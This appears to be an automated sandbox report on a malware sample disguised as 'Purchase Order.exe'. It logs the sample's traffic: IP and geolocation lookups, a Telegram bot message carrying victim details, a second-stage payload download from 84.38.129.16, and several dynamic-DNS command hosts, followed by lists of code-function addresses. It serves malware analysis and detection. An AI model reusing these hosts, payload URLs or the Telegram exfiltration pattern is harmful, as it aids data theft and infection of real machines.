Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49977 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49985 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16

Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:210979%0D%0ADate%20and%20Time:%2021/10/2024%20/%2017:55:09%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20210979%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /efxSlCP242.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: 84.38.129.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 21 Oct 2024 09:30:53 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Purchase Order.exe, 00000004.00000002.3364746506.0000000007E60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://84.38.129.16/efxSlCP242.bin
Source: Purchase Order.exe, 00000004.00000002.3364386866.0000000006354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://84.38.129.16/efxSlCP242.binJ
Source: Purchase Order.exe, 00000004.00000002.3364386866.0000000006354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://84.38.129.16/efxSlCP242.binn
Source: Purchase Order.exe, 00000004.00000002.3384062771.0000000036831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Purchase Order.exe, 00000004.00000002.3384062771.0000000036831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Purchase Order.exe, 00000004.00000002.3384062771.0000000036831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Purchase Order.exe, 00000004.00000002.3384062771.0000000036831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Purchase Order.exe, Purchase Order.exe, 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: Purchase Order.exe, 00000000.00000000.2111963143.0000000000409000.00000008.00000001.01000000.00000003.sdmp, Purchase Order.exe, 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Purchase Order.exe, 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Purchase Order.exe, 00000004.00000002.3384062771.0000000036831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Purchase Order.exe, 00000004.00000002.3384062771.0000000036831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Purchase Order.exe, 00000004.00000002.3384062771.0000000036915000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Purchase Order.exe, 00000004.00000002.3384062771.0000000036915000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Purchase Order.exe, 00000004.00000002.3384062771.0000000036915000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Purchase Order.exe, 00000004.00000002.3384062771.0000000036915000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:210979%0D%0ADate%20a
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Purchase Order.exe, 00000004.00000002.3384062771.000000003692F000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000004.00000002.3384062771.0000000036A17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Purchase Order.exe, 00000004.00000002.3384062771.00000000369E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Purchase Order.exe, 00000004.00000002.3384062771.000000003687A000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000004.00000002.3384062771.00000000368EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Purchase Order.exe, 00000004.00000002.3384062771.000000003687A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Purchase Order.exe, 00000004.00000002.3384062771.00000000368EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/155.94.241.186
Source: Purchase Order.exe, 00000004.00000002.3384062771.00000000368EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/155.94.241.186$
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Purchase Order.exe, 00000004.00000002.3385180185.0000000037851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Purchase Order.exe, 00000004.00000002.3384062771.0000000036A17000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000004.00000002.3384062771.0000000036A08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Purchase Order.exe, 00000004.00000002.3384062771.0000000036A08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/p

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49988 version: TLS 1.2

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: 0_2_0040524E GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040524E

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Purchase Order.exe

Source: C:\Users\user\Desktop\Purchase Order.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_004032BF EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032BF
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_004032BF EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004032BF

Source: C:\Users\user\Desktop\Purchase Order.exe

File created: C:\Windows\SysWOW64\lamellate.ini

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_00406542	0_2_00406542
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_00404A8D	0_2_00404A8D
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_00406542	4_2_00406542
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_00404A8D	4_2_00404A8D
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_001181E0	4_2_001181E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0011D2CA	4_2_0011D2CA
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_00115370	4_2_00115370
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0011D599	4_2_0011D599
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0011CA08	4_2_0011CA08
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0011EC18	4_2_0011EC18
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_00115C38	4_2_00115C38
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0011CD28	4_2_0011CD28
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0011AD48	4_2_0011AD48
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0011CFF7	4_2_0011CFF7
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0011F4D0	4_2_0011F4D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0011F4C6	4_2_0011F4C6
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_001139F0	4_2_001139F0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_001129EC	4_2_001129EC
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0011CA58	4_2_0011CA58
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_00113AA1	4_2_00113AA1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0011EC0A	4_2_0011EC0A
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_00113E09	4_2_00113E09
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB10B8	4_2_39AB10B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB47A8	4_2_39AB47A8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB9398	4_2_39AB9398
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB1798	4_2_39AB1798
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB8AA8	4_2_39AB8AA8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB1E80	4_2_39AB1E80
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABD580	4_2_39ABD580
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABD9CD	4_2_39ABD9CD
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABD9D8	4_2_39ABD9D8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABD9D7	4_2_39ABD9D7
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABD128	4_2_39ABD128
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABD119	4_2_39ABD119
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABD571	4_2_39ABD571
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB10A7	4_2_39AB10A7
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABFC88	4_2_39ABFC88
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABFC98	4_2_39ABFC98
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB8CC8	4_2_39AB8CC8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABCCC0	4_2_39ABCCC0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABCCD0	4_2_39ABCCD0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABC420	4_2_39ABC420
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABC40F	4_2_39ABC40F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB0014	4_2_39AB0014
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABC869	4_2_39ABC869
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABC878	4_2_39ABC878
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB0040	4_2_39AB0040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABF840	4_2_39ABF840
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB1788	4_2_39AB1788
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABEF85	4_2_39ABEF85
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB4798	4_2_39AB4798
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABEF90	4_2_39ABEF90
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABF3E8	4_2_39ABF3E8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABEB28	4_2_39ABEB28
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB8320	4_2_39AB8320
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABEB38	4_2_39ABEB38
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB8310	4_2_39AB8310
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABE288	4_2_39ABE288
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABE6E0	4_2_39ABE6E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABE6D1	4_2_39ABE6D1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABDE20	4_2_39ABDE20
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABDE30	4_2_39ABDE30
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39ABE278	4_2_39ABE278
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39AB1E72	4_2_39AB1E72
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA8B58	4_2_39CA8B58
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA7D78	4_2_39CA7D78
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA7720	4_2_39CA7720
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA1A50	4_2_39CA1A50
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA41CA	4_2_39CA41CA
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA41C8	4_2_39CA41C8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA5BCF	4_2_39CA5BCF
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA65C0	4_2_39CA65C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAF3C0	4_2_39CAF3C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAD3C1	4_2_39CAD3C1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA5BD8	4_2_39CA5BD8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAD3D0	4_2_39CAD3D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAB3D1	4_2_39CAB3D1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA15E9	4_2_39CA15E9
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAB3E0	4_2_39CAB3E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA15F8	4_2_39CA15F8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA2FF8	4_2_39CA2FF8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAE5FF	4_2_39CAE5FF
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA15F7	4_2_39CA15F7
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA5780	4_2_39CA5780
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAE180	4_2_39CAE180
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAC180	4_2_39CAC180
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAC190	4_2_39CAC190
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA1190	4_2_39CA1190
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA65AF	4_2_39CA65AF
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA11A0	4_2_39CA11A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA2BA1	4_2_39CA2BA1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA2BB0	4_2_39CA2BB0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAF3B1	4_2_39CAF3B1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA0D48	4_2_39CA0D48
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA2748	4_2_39CA2748
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA8B49	4_2_39CA8B49
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CACF40	4_2_39CACF40
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAAF40	4_2_39CAAF40
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA0D47	4_2_39CA0D47
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA2758	4_2_39CA2758
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAAF50	4_2_39CAAF50
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA5773	4_2_39CA5773
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAE170	4_2_39CAE170
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA2300	4_2_39CA2300
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CABD00	4_2_39CABD00
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA531F	4_2_39CA531F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA7711	4_2_39CA7711
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA5328	4_2_39CA5328
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CACF2F	4_2_39CACF2F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAEF20	4_2_39CAEF20
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA0D38	4_2_39CA0D38
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAEF30	4_2_39CAEF30
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA72CA	4_2_39CA72CA
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA72C8	4_2_39CA72C8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAAAC0	4_2_39CAAAC0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA4ED0	4_2_39CA4ED0
